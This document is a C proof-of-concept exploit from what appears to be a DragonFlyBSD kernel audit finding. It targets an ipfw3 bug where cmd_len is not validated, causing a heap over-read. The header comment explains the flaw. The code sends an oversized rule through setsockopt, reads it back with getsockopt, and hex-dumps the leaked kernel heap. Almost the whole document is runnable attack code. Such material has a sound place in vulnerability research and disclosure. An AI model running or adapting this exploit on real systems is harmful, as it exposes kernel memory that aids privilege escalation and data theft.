DragonFlyBSD Kernel Audit
DF-0472 / leak.c
← back to finding ↓ download raw
/*
 * DF-0472 - ipfw3 ip_fw3_ctl_add_rule missing cmd_len validation
 *           heap over-read (CWE-125) + kernel heap info leak (CWE-200)
 *
 * Trigger (ROOT ONLY - raw socket + ipfw3 ctl path):
 *   1. setsockopt(IPPROTO_IP, IP_FW_X, [x_hdr(opcode=IP_FW_ADD)][ioc_rule
 *      with cmd_len=255 but only ONE real cmd provided])  -> ip_fw3_ctl_add_rule
 *      validates the TOTAL sopt_valsize is in [36,1020] but NEVER validates
 *      cmd_len against the data actually supplied. It krealloc()s the buffer
 *      to 1020 bytes (sizeof(uint32_t)*IPFW_RULE_SIZE_MAX) WITHOUT zeroing,
 *      then add_rule_dispatch() does:
 *          bcopy(ioc_rule->cmd, rule->cmd, rule->cmd_len * 4);
 *      With cmd_len=255 that reads 1020 bytes from offset 36 of a 1020-byte
 *      buffer => 36-byte heap over-read PAST the allocation, plus ~976 bytes
 *      of uninitialized krealloc() tail -- all of it kernel heap residue.
 *   2. getsockopt(IPPROTO_IP, IP_FW_X, [x_hdr(opcode=IP_FW_GET)]) copies the
 *      garbage (cmd_len*4 = 1020 bytes) back to userspace via
 *      ip_fw3_ctl_get_rules():bcopy(rule->cmd, ioc->cmd, ioc->cmd_len*4).
 *
 * Output: a hex dump of the rule's cmd region. The first 8 bytes are the
 * single real cmd we sent (the "MARKER"); every non-zero byte after that is
 * LEAKED kernel heap (krealloc tail + neighbour slab object). Run several
 * times -- genuine heap residue varies byte-for-byte across runs.
 *
 * Build: cc -o leak leak.c
 * Run  : ./leak   (as root, with ipfw3.ko loaded & fw3.enable=0)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stddef.h>

/* ---- constants mirrored from sys/net/ipfw3/ip_fw3.h + sys/netinet/in.h ---- */
#define MY_IP_FW_X             49    /* IP_FW_X      */
#define MY_IP_FW_ADD           50    /* IP_FW_ADD    */
#define MY_IP_FW_GET           54    /* IP_FW_GET    */
#define MY_IPFW_RULE_SIZE_MAX  255   /* IPFW_RULE_SIZE_MAX (uint32 words)  */
#define MY_SIZE_OF_IPFWINSN    8

typedef struct {
	uint8_t  opcode;
	uint8_t  len;
	uint16_t arg1;
	uint8_t  module;
	uint8_t  arg3;
	uint16_t arg2;
} my_ipfw_insn;              /* sizeof == 8 == MY_SIZE_OF_IPFWINSN */

typedef struct {
	uint16_t opcode;
	uint16_t _pad;
} my_x_header;

/* MUST match kernel struct ipfw_ioc_rule layout exactly (natural align). */
struct my_ioc_rule {
	uint16_t       act_ofs;
	uint16_t       cmd_len;
	uint16_t       rulenum;
	uint8_t        set;
	uint8_t        insert;
	uint32_t       sets;
	uint64_t       pcnt;
	uint64_t       bcnt;
	uint32_t       timestamp;
	my_ipfw_insn   cmd[1];
};
/* kernel: IOC_RULESIZE(r) = sizeof(ioc_rule) + cmd_len*4 - SIZE_OF_IPFWINSN
 * With sizeof(ioc_rule)=48 (4 bytes trailing pad for uint64 alignment) that is
 * 40 + cmd_len*4.  cmd lives at offsetof(cmd)=36.  The 4 trailing pad bytes are
 * skipped by the kernel when advancing between GET blocks. */
#define MY_CMD_OFF     offsetof(struct my_ioc_rule, cmd)
#define MY_IOC_STRIDE(c) (sizeof(struct my_ioc_rule) - MY_SIZE_OF_IPFWINSN + (size_t)(c) * 4u)

static void hexdump(const char *pfx, const unsigned char *b, size_t n) {
	for (size_t i = 0; i < n; i += 16) {
		printf("%s %04zx: ", pfx, i);
		for (size_t j = 0; j < 16 && (i + j) < n; j++)
			printf("%02x ", b[i + j]);
		printf("\n");
	}
}

int main(void) {
	/* sanity: confirm the userspace struct mirrors the kernel layout */
	if (sizeof(my_ipfw_insn) != MY_SIZE_OF_IPFWINSN) {
		fprintf(stderr, "FAIL: ipfw_insn size %zu != 8\n", sizeof(my_ipfw_insn));
		return 2;
	}
	if (sizeof(struct my_ioc_rule) != 48) {
		fprintf(stderr, "FAIL: ioc_rule size %zu != 48 (uint64-align pad)\n",
			sizeof(struct my_ioc_rule));
		return 2;
	}
	printf("[*] struct sizes ok: ipfw_insn=%zu ioc_rule=%zu cmd_off=%zu stride_const=%zu\n",
		sizeof(my_ipfw_insn), sizeof(struct my_ioc_rule),
		(size_t)MY_CMD_OFF,
		(size_t)(sizeof(struct my_ioc_rule) - MY_SIZE_OF_IPFWINSN));

	int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("socket(SOCK_RAW,IPPROTO_RAW) [needs root]"); return 2; }
	printf("[*] raw socket fd=%d (root-only path)\n", s);

	/* ---- STEP 1: ADD a rule with cmd_len=255 but only 1 real cmd ---- */
	unsigned char addbuf[64];
	memset(addbuf, 0x5a, sizeof(addbuf));          /* poison our own buffer */
	my_x_header *xh = (my_x_header *)addbuf;
	xh->opcode = MY_IP_FW_ADD;
	xh->_pad   = 0;

	struct my_ioc_rule *r = (struct my_ioc_rule *)(addbuf + sizeof(my_x_header));
	memset(r, 0, sizeof(*r));
	r->act_ofs  = 0;
	r->cmd_len  = MY_IPFW_RULE_SIZE_MAX;          /* 255 -- the bug */
	r->rulenum  = 0;                              /* kernel auto-assigns */
	r->set      = 0;
	r->insert   = 0;
	/* one distinctive marker cmd (8 bytes); kernel will read 255*4=1020 */
	r->cmd[0].opcode = 0xDE;
	r->cmd[0].len    = 1;          /* F_LEN -> 1 word, so chk would advance 1 */
	r->cmd[0].arg1   = 0xADBE;
	r->cmd[0].module = 0xEF;
	r->cmd[0].arg3   = 0x01;
	r->cmd[0].arg2   = 0x0203;

	size_t addlen = sizeof(my_x_header) + sizeof(struct my_ioc_rule); /* 4 + 44 = 48 */
	printf("[*] ADD: sending %zu bytes; claims cmd_len=%u (= %u bytes of cmd)\n",
		addlen, r->cmd_len, r->cmd_len * 4u);
	printf("[*]     kernel only has 8 bytes of real cmd (1 insn) but will\n");
	printf("[*]     krealloc to 1020 and bcopy 1020 bytes -> heap over-read\n");

	int rc = setsockopt(s, IPPROTO_IP, MY_IP_FW_X, addbuf, addlen);
	printf("[+] setsockopt(IP_FW_ADD) rc=%d errno=%d (%s)\n",
		rc, errno, rc ? strerror(errno) : "ok");
	if (rc != 0) { printf("[!] ADD failed; aborting leak readback\n"); close(s); return 1; }

	/* ---- STEP 2: GET all rules back, find our garbage rule, dump its cmd ---- */
	unsigned char getbuf[4096];
	memset(getbuf, 0, sizeof(getbuf));
	my_x_header *gxh = (my_x_header *)getbuf;
	gxh->opcode = MY_IP_FW_GET;
	gxh->_pad   = 0;
	socklen_t getlen = sizeof(getbuf);

	rc = getsockopt(s, IPPROTO_IP, MY_IP_FW_X, getbuf, &getlen);
	printf("[+] getsockopt(IP_FW_GET) rc=%d returned %u bytes\n", rc, (unsigned)getlen);
	if (rc != 0) { perror("getsockopt"); close(s); return 1; }

	/* Walk the returned rule list. After ip_fw3_ctl_x the x_header is gone,
	 * so getbuf[0..getlen) is a packed array of ioc_rule blocks. */
	unsigned off = 0;
	int found = 0;
	while (off + (sizeof(struct my_ioc_rule) - MY_SIZE_OF_IPFWINSN) <= getlen) {
		struct my_ioc_rule *gr = (struct my_ioc_rule *)(getbuf + off);
		size_t blk = MY_IOC_STRIDE(gr->cmd_len);
		printf("[*] rule @ off=%u: rulenum=%u cmd_len=%u act_ofs=%u blk=%zu bytes\n",
			off, gr->rulenum, gr->cmd_len, gr->act_ofs, blk);

		if (gr->cmd_len == MY_IPFW_RULE_SIZE_MAX && gr->rulenum != 65535 && !found) {
			found = 1;
			const unsigned char *cmd = (const unsigned char *)getbuf + off + MY_CMD_OFF;
			size_t cmdbytes = (size_t)gr->cmd_len * 4u;
			printf("\n===== LEAKED RULE cmd region (%zu bytes) =====\n", cmdbytes);
			printf("    bytes [0..7]  = our MARKER cmd (0xDE 01 ...)\n");
			printf("    bytes [8..%zu] = LEAKED KERNEL HEAP (krealloc tail + over-read)\n",
				cmdbytes - 1);
			hexdump("    ", cmd, cmdbytes);

			/* summarise the leak: non-zero bytes after our 8-byte marker */
			size_t leaked_region = cmdbytes - 8;
			size_t nonzero = 0, first_nz = 0, last_nz = 0;
			int seen = 0;
			for (size_t i = 8; i < cmdbytes; i++) {
				if (cmd[i] != 0) {
					nonzero++;
					if (!seen) { first_nz = i; seen = 1; }
					last_nz = i;
				}
			}
			printf("\n[+] LEAK SUMMARY: %zu / %zu bytes non-zero in leaked region\n",
				nonzero, leaked_region);
			printf("[+] first non-zero leaked byte at cmd[%zu], last at cmd[%zu]\n",
				first_nz, last_nz);
			printf("[+] sample (cmd[8..47], the over-read boundary area): ");
			for (size_t i = 8; i < 48 && i < cmdbytes; i++) printf("%02x", cmd[i]);
			printf("\n\n");
		}
		if (blk == 0) break;
		off += blk;
	}
	if (!found)
		printf("[!] garbage rule not found in GET response\n");

	close(s);
	return found ? 0 : 1;
}